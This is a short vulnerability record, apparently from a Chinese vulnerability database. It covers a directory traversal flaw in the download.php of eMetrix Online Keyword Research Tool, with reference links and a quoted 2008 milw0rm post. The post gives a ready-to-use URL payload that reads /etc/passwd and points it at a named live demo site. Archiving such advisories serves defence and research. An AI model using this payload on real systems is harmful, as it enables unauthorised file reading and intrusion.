Emetrix Online Keyword Research Tool 'download.php'目录遍历漏洞

https://www.exploit-db.com/exploits/7524
https://cxsecurity.com/issue/WLB-2009030098
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-652

eMetrixOnlineKeywordResearchTool是一个在线关键字搜索工具。eMetrixOnlineKeywordResearchTool的download.php中存在目录遍历漏洞。远程攻击者可以借助filename参数中的一个..，读取任意文件。

Online Keyword Research (download.php filename) Local File Include

# author : Cold z3ro, http://www.hackteach.org/
# script : http://secure.emetrix.com/order/product.asp?PID=68900247
# demo   : http://www.rightscripts.com/keywordresearch/


# Exploit

[~] http://www.site.com/[path]/download.php?filename=../../../../../../../../etc/passwd


# Example

[~] http://www.rightscripts.com/keywordresearch/download.php?filename=../../../../../../../../etc/passwd



============================
Greetz : www.hackteach.org members , AnGeL25dZ

# milw0rm.com [2008-12-19]

来源:XF
名称:online-download-directory-traversal(47516)
链接:http://xforce.iss.net/xforce/xfdb/47516
来源:BID
名称:32932
链接:http://www.securityfocus.com/bid/32932
来源:MILW0RM
名称:7524
链接:http://www.milw0rm.com/exploits/7524
来源:SECUNIA
名称:33255
链接:http://secunia.com/advisories/33255